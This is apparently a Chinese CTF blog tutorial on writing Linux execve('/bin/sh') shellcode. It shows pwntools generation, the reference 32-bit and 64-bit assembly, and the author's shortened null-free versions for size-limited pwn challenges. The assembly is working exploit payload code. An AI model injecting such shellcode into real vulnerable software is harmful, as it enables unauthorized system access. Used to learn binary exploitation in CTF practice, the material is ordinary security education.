linux环境下shellcode的编写
- shellcode的理解
- 使用pwntools工具编写
- 自己实现更精炼的
-
- 32位shellcode
- 64位shellcode
shellcode的理解
??我们在做pwn的时候经常需要使用shellcode来获取到flag,那么shellcode如何理解,简单一句话就是:获取到shell的code就是shellcode。
??在漏洞利用过程时,我们将精心编制好的shellcode通过有问题的程序写入到内存中,然后执行。该shellcode对应的c语言代码一般为:
1 | system("/bin/sh"); |
??也就是说我们将上述的c语言代码翻译成汇编语言,然后进一步翻译成pcode(汇编语言对应的十六进制表示),最后按照正确的大小端顺序存放到内存中。通过一定手段让shellcode执行,然后我们就会得到linux下的交互终端。至于如何注入shellcode,如何让其执行,以及在复杂的题目条件下对shellcode进行拆分、组装以及重新编码(去掉特殊字符)等,此处不讲解,可以参考我其它的博文,重在积累。
使用pwntools工具编写
??对于一般pwn的shellcode题目求解,我们可以直接利用python的库pwntools来自动生成shellcode。按照下面的步骤进行即可:
1 2 3 | # 安装pwntools pip install pwntools |
1 2 3 4 5 6 7 8 9 10 11 12 | # python3 from pwn import * # 配置上下文 # context(os="linux", arch="i386") 32位系统 context(os="linux", arch="amd64") 64位系统 # 生成shellcode code = shellcraft.sh() print(code) # 汇编语言 print(asm(code)) # pcode,十六进制形式 print(len(asm(code))) # 查看汇编后的字节长度 |
自己实现更精炼的
??对于一些读取输入大小有限制的题目,我们需要自己编写更短小的shellcode,下面我将分别介绍32位和64位的shellcode编写原理以及自己实现的更精炼的shellcode代码。这里展示的是汇编代码,在漏洞利用时需要转换为字节码,各位打工人也可以自己试试将下面的汇编代码重新打乱,删减,编写更短小的shellcode。
32位shellcode
??我们编写的shellcode是实现c语言代码的
??python官方的实现版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | /* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push b'/bin///sh\x00' */ push 0x68 push 0x732f2f2f push 0x6e69622f mov ebx, esp /* push argument array ['sh\x00'] */ /* push 'sh\x00\x00' */ push 0x1010101 xor dword ptr [esp], 0x1016972 xor ecx, ecx push ecx /* null terminate */ push 4 pop ecx add ecx, esp push ecx /* 'sh\x00' */ mov ecx, esp xor edx, edx /* call execve() */ push SYS_execve /* 0xb */ pop eax int 0x80 |
??以上代码python官方都给了注释,整个汇编代码实现的是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | ######################################################################### ## 一般函数调用参数是压入栈中,这里系统调用使用寄存器 ## 需要对如下几个寄存器进行设置,可以比对官方的实现 ebx = /bin/sh ## 第一个参数 ecx = 0 ## 第二个参数 edx = 0 ## 第三个参数 eax = 0xb ## 0xb为系统调用号,即sys_execve()系统函数对应的序号 int 0x80 ## 执行系统中断 ######################################################################### ## 更精炼的汇编代码 ## ## 这里说明一下,很多博客都会用"/bin//sh"或者官方的"/bin///sh" ## 作为第一个参数,即添加/线来填充空白字符。这里我将"/bin/sh" ## 放在最前面,就不存在汇编代码中间存在空字符截断的问题;另外 ## "/bin/sh"是7个字符,32位中需要两行指令,末尾未填充的空字符 ## 刚好作为字符串结尾标志符,也就不需要额外压一个空字符入栈。 push 0x68732f # 0x68732f --> hs/ little endian push 0x6e69622f # 0x6e69622f --> nib/ little endian mov ebx, esp xor edx, edx xor ecx, ecx mov al, 0xb # al为eax的低8位 int 0x80 ## 汇编之后字节长度为20字节 |
64位shellcode
??这里的思路和前面32位的一样,此处不再赘述,直接给出。
??python官方的实现版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | /* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push b'/bin///sh\x00' */ push 0x68 mov rax, 0x732f2f2f6e69622f push rax mov rdi, rsp /* push argument array ['sh\x00'] */ /* push b'sh\x00' */ push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101 xor esi, esi /* 0 */ push rsi /* null terminate */ push 8 pop rsi add rsi, rsp push rsi /* 'sh\x00' */ mov rsi, rsp xor edx, edx /* 0 */ /* call execve() */ push SYS_execve /* 0x3b */ pop rax syscall |
??实现原理加代码精炼:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | ###################################################################### ## 64位linux下,默认前6个参数都存入寄存器,所以这里没的说也使用寄存器 ## 寄存器存储参数顺序,参数从左到右:rdi, rsi, rdx, rcx, r8, r9 rdi = /bin/sh ## 第一个参数 rsi = 0 ## 第二个参数 rdx = 0 ## 第三个参数 rax = 0x3b ## 64位下的系统调用号 syscall ## 64位使用 syscall ##################################################################### ## 精炼版本 ## ## 这里说明一下,很多博客都会用"/bin//sh"或者官方的"/bin///sh" ## 作为第一个参数,即添加/线来填充空白字符。这里我将"/bin/sh" ## 放在最前面,就不存在汇编代码中间存在空字符截断的问题;另外 ## "/bin/sh"是7个字符,64位中需要一行指令,末尾未填充的空字符 ## 刚好作为字符串结尾标志符,也就不需要额外压一个空字符入栈。 mov rbx, 0x68732f6e69622f # 0x68732f6e69622f --> hs/nib/ little endian push rbx push rsp pop rdi xor esi, esi # rsi低32位 xor edx, edx # rdx低32位 push 0x3b pop rax syscall ## 汇编之后字节长度为22字节 |